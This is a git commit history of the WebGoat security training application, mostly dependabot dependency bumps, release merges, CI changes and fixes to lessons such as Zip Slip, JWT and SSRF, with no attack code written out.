636a2bdaf5 fix: robotframework fails due to updated dependencies (#1508) 2023-06-13 10:00:50 +02:00
dependabot[bot]
816a694c84 chore: bump maven-surefire-plugin from 3.0.0-M9 to 3.1.0 (#1499)
Bumps [maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.0.0-M9 to 3.1.0.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.0.0-M9...surefire-3.1.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-07 21:31:54 +02:00
dependabot[bot]
06a55ab278 chore: bump maven-checkstyle-plugin from 3.2.1 to 3.3.0 (#1496)
Bumps [maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.2.1 to 3.3.0.
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.2.1...maven-checkstyle-plugin-3.3.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-07 09:41:13 +02:00
dependabot[bot]
0136c1070f chore: bump spring-boot-starter-parent from 3.0.5 to 3.1.0 (#1497)
Bumps [spring-boot-starter-parent](https://github.com/spring-projects/spring-boot) from 3.0.5 to 3.1.0.
- [Release notes](https://github.com/spring-projects/spring-boot/releases)
- [Commits](https://github.com/spring-projects/spring-boot/compare/v3.0.5...v3.1.0)

---
updated-dependencies:
- dependency-name: org.springframework.boot:spring-boot-starter-parent
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-06 16:21:11 +02:00
Nanne Baars
dce5eeb797 bug: fix Java image inside Docker file
The image now downloads the correct Java version based on the architecture.
2023-06-04 14:56:46 +02:00
Nanne Baars
ca886b4818 feat: upgrade to Spring Boot version 3 (#1477) 2023-06-04 11:19:47 +02:00
dependabot[bot]
ff3a2983e2 chore: bump zxcvbn from 1.5.2 to 1.7.0 (#1471)
Bumps [zxcvbn](https://github.com/nulab/zxcvbn4j) from 1.5.2 to 1.7.0.
- [Release notes](https://github.com/nulab/zxcvbn4j/releases)
- [Changelog](https://github.com/nulab/zxcvbn4j/blob/master/CHANGELOG.md)
- [Commits](https://github.com/nulab/zxcvbn4j/compare/1.5.2...1.7.0)

---
updated-dependencies:
- dependency-name: com.nulab-inc:zxcvbn
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 16:21:17 +02:00
dependabot[bot]
6f0b88f9b6 chore: bump cglib-nodep from 2.2 to 3.3.0 (#1470)
Bumps [cglib-nodep](https://github.com/cglib/cglib) from 2.2 to 3.3.0.
- [Release notes](https://github.com/cglib/cglib/releases)
- [Commits](https://github.com/cglib/cglib/commits)

---
updated-dependencies:
- dependency-name: cglib:cglib-nodep
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 16:06:55 +02:00
dependabot[bot]
9d9fb092be chore: bump maven-enforcer-plugin from 3.2.1 to 3.3.0 (#1468)
Bumps [maven-enforcer-plugin](https://github.com/apache/maven-enforcer) from 3.2.1 to 3.3.0.
- [Release notes](https://github.com/apache/maven-enforcer/releases)
- [Commits](https://github.com/apache/maven-enforcer/compare/enforcer-3.2.1...enforcer-3.3.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-enforcer-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 09:01:54 +02:00
dependabot[bot]
4bc53a6666 chore: bump maven-checkstyle-plugin from 3.1.2 to 3.2.1 (#1472)
Bumps [maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.1.2 to 3.2.1.
- [Release notes](https://github.com/apache/maven-checkstyle-plugin/releases)
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.1.2...maven-checkstyle-plugin-3.2.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 08:54:21 +02:00
dependabot[bot]
61d5fb9ece chore: bump jsoup from 1.15.4 to 1.16.1 (#1484)
Bumps [jsoup](https://github.com/jhy/jsoup) from 1.15.4 to 1.16.1.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.15.4...jsoup-1.16.1)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-02 08:43:43 +02:00
dependabot[bot]
6eafa45e4c chore: bump jacoco-maven-plugin from 0.8.8 to 0.8.10
Bumps [jacoco-maven-plugin](https://github.com/jacoco/jacoco) from 0.8.8 to 0.8.10.
- [Release notes](https://github.com/jacoco/jacoco/releases)
- [Commits](https://github.com/jacoco/jacoco/compare/v0.8.8...v0.8.10)

---
updated-dependencies:
- dependency-name: org.jacoco:jacoco-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-05-01 23:48:16 +02:00
caputdraconis
ac6de9d788 Fix typo of HijackSession_content0.adoc 2023-04-17 09:04:15 +02:00
dependabot[bot]
f6855bf6a5 chore: bump guava from 30.1-jre to 31.1-jre (#1448)
Bumps [guava](https://github.com/google/guava) from 30.1-jre to 31.1-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:55:22 +02:00
dependabot[bot]
f7b4af5023 chore: bump bootstrap from 3.3.7 to 5.2.3 (#1441)
Bumps [bootstrap](https://github.com/webjars/bootstrap) from 3.3.7 to 5.2.3.
- [Release notes](https://github.com/webjars/bootstrap/releases)
- [Commits](https://github.com/webjars/bootstrap/compare/bootstrap-3.3.7...bootstrap-5.2.3)

---
updated-dependencies:
- dependency-name: org.webjars:bootstrap
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:55:08 +02:00
dependabot[bot]
e720eec5f9 chore: bump jruby from 9.3.6.0 to 9.4.2.0 (#1454)
Bumps jruby from 9.3.6.0 to 9.4.2.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:54:51 +02:00
dependabot[bot]
a43a6125e8 chore: bump actions/cache from 3.2.6 to 3.3.1 (#1453)
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.6 to 3.3.1.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.6...v3.3.1)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:54:05 +02:00
dependabot[bot]
d3e2164716 chore: bump asm from 9.1 to 9.5 (#1460)
Bumps asm from 9.1 to 9.5.

---
updated-dependencies:
- dependency-name: org.ow2.asm:asm
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:53:50 +02:00
Loris Sierra
cbf2e153d9 Restrict SSRF Regexes 2023-03-08 23:22:38 +01:00
dependabot[bot]
0795ff0fc5 chore: bump commons-io from 2.6 to 2.11.0
Bumps commons-io from 2.6 to 2.11.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:09:19 +01:00
dependabot[bot]
d7cdfeec2a chore: bump webdrivermanager from 4.3.1 to 5.3.2
Bumps [webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 4.3.1 to 5.3.2.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-4.3.1...webdrivermanager-5.3.2)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:09:08 +01:00
dependabot[bot]
491fe2d84d chore: bump maven-enforcer-plugin from 3.0.0 to 3.2.1
Bumps [maven-enforcer-plugin](https://github.com/apache/maven-enforcer) from 3.0.0 to 3.2.1.
- [Release notes](https://github.com/apache/maven-enforcer/releases)
- [Commits](https://github.com/apache/maven-enforcer/compare/enforcer-3.0.0...enforcer-3.2.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-enforcer-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:08:28 +01:00
dependabot[bot]
a509e8e24e chore: bump commons-text from 1.9 to 1.10.0
Bumps commons-text from 1.9 to 1.10.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:07:37 +01:00
Nanne Baars
e50986a098 fix: challenge 7 (#1433) 2023-02-22 22:55:48 +01:00
Àngel Ollé Blázquez
61dac201f0 Add coverage profile 2023-02-22 14:51:55 +01:00
dependabot[bot]
c5629be618 chore: bump spotless-maven-plugin from 2.29.0 to 2.33.0 (#1426)
Bumps [spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.29.0 to 2.33.0.
- [Release notes](https://github.com/diffplug/spotless/releases)
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/lib/2.29.0...lib/2.33.0)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:36:24 +01:00
dependabot[bot]
df8c83fe74 chore: bump eclipse-temurin from 17-jre-focal to 19-jre-focal (#1427)
Bumps eclipse-temurin from 17-jre-focal to 19-jre-focal.

---
updated-dependencies:
- dependency-name: eclipse-temurin
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:36:07 +01:00
dependabot[bot]
6d3813c2ce chore: bump commons-compress from 1.21 to 1.22 (#1428)
Bumps commons-compress from 1.21 to 1.22.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:52 +01:00
dependabot[bot]
ecfa0197af chore: bump maven-surefire-plugin from 3.0.0-M5 to 3.0.0-M9 (#1429)
Bumps [maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.0.0-M5 to 3.0.0-M9.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.0.0-M5...surefire-3.0.0-M9)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:36 +01:00
dependabot[bot]
8467ae8a0b chore: bump jsoup from 1.14.3 to 1.15.4 (#1430)
Bumps [jsoup](https://github.com/jhy/jsoup) from 1.14.3 to 1.15.4.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.14.3...jsoup-1.15.4)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:20 +01:00
dependabot[bot]
5243fa2bf2 chore: bump jose4j from 0.7.6 to 0.9.3 (#1431)
Bumps [jose4j](https://bitbucket.org/b_c/jose4j) from 0.7.6 to 0.9.3.
- [Commits](https://bitbucket.org/b_c/jose4j/branches/compare/jose4j-0.9.3..jose4j-0.7.6)

---
updated-dependencies:
- dependency-name: org.bitbucket.b_c:jose4j
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:01 +01:00
dependabot[bot]
36f99dede8 Bump actions/cache from 3.2.5 to 3.2.6
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.5 to 3.2.6.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.5...v3.2.6)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-22 13:34:10 +01:00
Nanne Baars
5dbe2eaf19 refactor: update challenge code
- Flags are now wired through a Spring config
- Introduced Flag class
- Removed Flags from the FlagController
2023-02-22 11:01:34 +01:00
Nanne Baars
1b49b2fd3b chore: format markdown file 2023-02-22 11:01:34 +01:00
Nanne Baars
b49c61636b ci: add maven and docker to dependabot configuration 2023-02-22 11:01:34 +01:00
Nanne Baars
8269207d6b docs: add documentation we start using Conventional Commits.
Fixes #1022
2023-02-22 11:01:34 +01:00
Nanne Baars
de2f568229 chore: back to snapshot version after release 2023-02-22 11:01:34 +01:00
Nanne Baars
9f6cf39ff2 ci: add distribution in snapshot job 2023-02-22 11:01:34 +01:00
Nanne Baars
19d54dbe95 chore: release version 2023.4 2023-02-22 11:01:34 +01:00
Nanne Baars
0f38519ecf ci: add step for pushing Docker desktop image 2023-02-17 12:56:43 +01:00
Nanne Baars
4c95c9ec6a ci: add step to build and verify Docker image 2023-02-17 12:56:43 +01:00
Nanne Baars
f6c7a54931 docs: add screenshot to README and add Docker WebGoat desktop text 2023-02-17 12:56:43 +01:00
Nanne Baars
f1012c85d6 feat: add Docker desktop version of WebGoat with all tools installed
The new Docker image uses linuxserver/webtop giving users the opportunity
to run a Linux desktop in their browser without installing any tools
on their local machine.
2023-02-17 12:56:43 +01:00
Nanne Baars
ecfc321f14 feature: Add extra feedback once someone solves JWT refresh lesson differently
One can solve this lesson by using `alg:none` instead of using the refresh token flow. Instead of adding a check to force using the refresh token we opt for giving the user extra feedback.
2023-02-16 20:32:27 +00:00
Nanne Baars
73b8c431fc chore: use constructor instead of field dependency injection 2023-02-16 20:32:27 +00:00
dependabot[bot]
b68adfbc7c Bump devops-infra/action-pull-request from 0.5.3 to 0.5.5
Bumps [devops-infra/action-pull-request](https://github.com/devops-infra/action-pull-request) from 0.5.3 to 0.5.5.
- [Release notes](https://github.com/devops-infra/action-pull-request/releases)
- [Commits](https://github.com/devops-infra/action-pull-request/compare/v0.5.3...v0.5.5)

---
updated-dependencies:
- dependency-name: devops-infra/action-pull-request
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-16 14:09:05 +00:00
Nanne Baars
1a2855afcd chore: set directories explicitly when running IT tests 2023-02-16 12:24:02 +00:00
Nanne Baars
693771220c fix: change url in JavaScript for JWT endpoint
The JavaScript pointed to the context root /WebWolf/ which is no longer in use.
2023-02-16 12:24:02 +00:00
Àngel Ollé Blázquez
075b1ab30a Fix WebWolf JWT tool 2023-02-15 22:40:24 +00:00
Nanne Baars
390ff39f19 chore: format src/test/it as well 2023-02-15 19:01:06 +00:00
Nanne Baars
3ec34b0df5 fix: challenge test fails sometimes when calling scoreboard endpoint 2023-02-15 19:01:06 +00:00
Nanne Baars
eb4c8388f8 Update Dockerfile 2023-02-15 12:11:12 +00:00
Àngel Ollé Blázquez
ae081ce319 Add fileserver location (test) 2023-02-15 12:00:54 +00:00
Nanne Baars
bd398e4c09 #1396 Fix templates path for views 2023-02-15 11:58:49 +00:00
dependabot[bot]
c9d1653d4f Bump docker/build-push-action from 3.2.0 to 4.0.0
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.2.0 to 4.0.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.2.0...v4.0.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-10 21:39:35 +01:00
dependabot[bot]
77c91b8df8 Bump actions/cache from 3.2.3 to 3.2.5
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.3 to 3.2.5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.3...v3.2.5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-10 21:38:56 +01:00
Nanne Baars
f9b810c5ee Fix formatting issue 2023-01-14 18:29:24 +01:00
Nanne Baars
dc0fc09679 Move to main and skip develop
Using main and develop imposes a complicated release process with Gitflow etc. To simplify our release process we move our development to the main branch skipping develop.
2023-01-14 18:24:35 +01:00
Nanne Baars
a0173fd8f8 Merge branch 'develop' 2023-01-14 17:07:37 +01:00
dependabot[bot]
58e7e9d4ef Bump actions/cache from 3.2.2 to 3.2.3
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.2 to 3.2.3.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.2...v3.2.3)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-01-11 20:59:09 +01:00
Nanne Baars
c7a41d1b17 Merge branch 'release/v2023.3' into develop 2023-01-05 21:59:37 +01:00
Nanne Baars
edd9aa36c2 Merge branch 'release/v2023.3' 2023-01-05 21:59:29 +01:00
Nanne Baars
27fe1850de Preparing new release 2023-01-05 21:59:01 +01:00
Nanne Baars
5c2bbd1227 Fix jar path while creating a release 2023-01-05 21:57:08 +01:00
Nanne Baars
683b629663 Back to snapshot 2023-01-05 21:52:40 +01:00
Nanne Baars
04908a81e7 Add change log URL 2023-01-05 21:51:45 +01:00
Nanne Baars
701de68ef2 Merge branch 'release/v2023.2' into develop 2023-01-05 21:37:28 +01:00
Nanne Baars
81ed738493 Merge branch 'release/v2023.2' 2023-01-05 21:37:21 +01:00
Nanne Baars
c03d153978 New release 2023-01-05 21:36:48 +01:00
Nanne Baars
6ab04db2ee Merge branch 'release/v2023.1' into develop 2023-01-05 21:06:36 +01:00
Nanne Baars
a108a937b5 Merge branch 'release/v2023.1' 2023-01-05 21:06:22 +01:00
Nanne Baars
6d5ea57606 New release 2023-01-05 21:02:26 +01:00
Nanne Baars
79fd88eeb6 Use Java 17 2023-01-05 21:00:43 +01:00
Nanne Baars
64b10c1a59 Merge branch 'release/v2023.0' into develop 2023-01-05 20:52:02 +01:00
Nanne Baars
6398d31c14 Merge branch 'release/v2023.0' 2023-01-05 20:51:53 +01:00
Nanne Baars
716a7dd9ea Preparing release 2023.0 2023-01-05 20:51:34 +01:00
Nanne Baars
323daae578 Vulnerable components only work in a Docker container 2023-01-05 20:51:15 +01:00
Nanne Baars
bdbf66c8e1 Merge branch 'release/v2023.1' into develop 2023-01-05 20:38:54 +01:00
Nanne Baars
174a59c35a Preparing release 2023.1 2023-01-05 20:38:20 +01:00
Nanne Baars
a08e515f6d Merge branch 'release/v2023.0' into develop 2023-01-05 20:35:02 +01:00
Nanne Baars
f766edcfcb Preparing release 2023.0 2023-01-05 20:31:24 +01:00
Nanne Baars
3901814363 Fix documentation link for XXE mitigation. 2023-01-05 19:00:12 +01:00
Nanne Baars
59bfd7c6d4 Move XXE to A05 - Security Misconfiguration 2023-01-05 19:00:12 +01:00
Nanne Baars
11776e1d6a Remove explicit goal for code formatting
`mvn verify` already checks formatting, having a separate step is not necessary. We now also check Markdown files for correct formatting.
2023-01-05 18:18:52 +01:00
Nanne Baars
7664625afa Add documentation about reusing the container.
The documentation now contains a description to reuse the initially create container. This way the user can start where they left off. The documentation only described creating a new container each and every time leaving users to create a new login each and every time.

Add documentation about reusing the container.

The documentation now contains a description to reuse the initially create container. This way the user can start where they left off. The documentation only described creating a new container each and every time leaving users to create a new login each and every time.
2023-01-05 18:18:52 +01:00
Nanne Baars
dca415099f Remove unused JavaScript function 2023-01-05 11:33:00 +01:00
Nanne Baars
54e115aff0 Update the solution with WebWolf URLs
The new solution uses WebWolf paths as these will change automatically when a user start WebGoat on a different port. It no longer depends on the hardcoded port `8080`.
2023-01-05 11:02:45 +01:00
Nanne Baars
fcaa2d8589 Fix zip slip lesson.
The lesson did not work properly as the directory is reused across several path traversal lessons. First thing before uploading the zip file we now clean the directory.

The html had a reference to a location of the profile picture, this was part of a hint but this only causes confusion as this is not indicating to where you need to upload the picture with the Zip Slip vulnerability.

The assignment now contains a direct hint as where the image needs to be saved. The assignment is about creating a vulnerable zip file and NOT about guessing where the image should be saved inside WebGoat.
2023-01-05 11:02:45 +01:00
Nanne Baars
9666597164 - Add reference to the WebWolf icon in the top right corner.
- Format all text of the lesson
2023-01-04 08:07:51 +01:00
Nanne Baars
d2a1546dff Apply formatting
This will make sure we have a consistent style across our project and the PRs are only concerned with actual changes and no longer about style.
2023-01-04 08:07:23 +01:00
Nanne Baars
b03777d39b Support boolean when parsing the token.
When the admin json element passes as a `boolean`:

```
{
 "admin": true
}
```

the parsing is now successful.
2023-01-04 07:43:18 +01:00
Nanne Baars
32468ff90b Add sql lesson (#1370) 2023-01-04 07:42:29 +01:00
dependabot[bot]
614235d913 Bump actions/cache from 3.2.1 to 3.2.2 (#1369)
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.1 to 3.2.2.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.1...v3.2.2)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-31 16:28:31 +01:00
dependabot[bot]
9abf4ef2ea Bump actions/cache from 3.0.11 to 3.2.1 (#1368)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.11 to 3.2.1.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.11...v3.2.1)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-27 18:00:54 +01:00
aswins2108@gmail.com
6a18ee80be Added info about login in the ReadMe file 2022-12-06 14:07:05 +01:00
Adam Szatyin
71ec36102f Fix typo 2022-12-01 21:34:19 +01:00
András Veres-Szentkirályi
8db9ff30be Fixed incorrect word
while "wear" and "were" have similar pronunciation, one of them is better here than the other :)
2022-11-29 18:55:44 +01:00
András Veres-Szentkirályi
b51be74cab typofix 2022-11-28 17:10:14 +01:00
dependabot[bot]
d4e3c9b91c Bump actions/cache from 3.0.10 to 3.0.11
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.10 to 3.0.11.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.10...v3.0.11)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:06:24 +02:00
dependabot[bot]
87358d4238 Bump docker/setup-qemu-action from 2.0.0 to 2.1.0
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 2.0.0 to 2.1.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v2.0.0...v2.1.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:06:13 +02:00
dependabot[bot]
3bc5309a1c Bump docker/build-push-action from 3.1.1 to 3.2.0
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.1.1 to 3.2.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.1.1...v3.2.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:05:56 +02:00
dependabot[bot]
8ec69d0a41 Bump docker/login-action from 2.0.0 to 2.1.0
Bumps [docker/login-action](https://github.com/docker/login-action) from 2.0.0 to 2.1.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v2.0.0...v2.1.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:05:44 +02:00
dependabot[bot]
1f567749bd Bump actions/first-interaction from 1.1.0 to 1.1.1
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.1.0 to 1.1.1.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.1.0...v1.1.1)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:05:32 +02:00
dependabot[bot]
ea892dbcb2 Bump actions/cache from 3.0.8 to 3.0.10 (#1342)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.8 to 3.0.10.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.8...v3.0.10)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-05 11:24:44 +02:00
Jesper Hallborg
96c2595ad0 Update interface name to exploit
The name is
org.owasp.webgoat.lessons.vulnerablecomponents.Contact
not
org.owasp.webgoat.vulnerablecomponents.Contact
2022-09-21 22:32:16 +02:00
René Zubcevic
34f5b79249 isReadable works inside a container, isFile not (#1334) 2022-09-12 09:02:07 +02:00
Thanh Tran
f5e4d4717a FixTypo - Fix typo in various lesson documentations 2022-08-30 22:21:22 +02:00
dependabot[bot]
